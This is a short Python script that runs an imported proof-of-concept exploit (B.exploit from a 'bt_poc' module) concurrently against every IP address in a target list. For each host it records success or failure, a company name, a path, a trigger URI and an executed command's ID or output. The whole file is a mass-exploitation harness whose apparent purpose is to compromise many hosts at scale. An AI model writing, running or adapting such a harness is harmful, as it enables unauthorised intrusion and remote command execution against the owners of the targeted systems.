import asyncio, sys
import bt_poc as B

ips = [l.strip() for l in open('bt_nover.txt') if l.strip()]
out = open('bt_results2.tsv', 'w')
lock = asyncio.Lock()
sem = asyncio.Semaphore(int(sys.argv[1]) if len(sys.argv) > 1 else 6)


async def one(ip):
    async with sem:
        try:
            res = await asyncio.wait_for(B.exploit(ip, None), 90)
            rec = [ip, 'OK' if res.get('ok') else 'NO', str(res.get('company') or ''),
                   str(res.get('path') or ''), (res.get('trigger') or {}).get('uri', ''),
                   str(res.get('cmd_id') or '').replace('\t', ' ')[:100]]
        except Exception as exc:
            rec = [ip, 'FAIL', '', '', '', ('%s: %s' % (type(exc).__name__, exc))[:110]]
        async with lock:
            out.write('\t'.join(rec) + '\n')
            out.flush()
            print(' '.join(rec), flush=True)


async def main():
    await asyncio.gather(*[one(ip) for ip in ips])
    out.close()
    print('BATCH2 DONE', len(ips), flush=True)

asyncio.run(main())
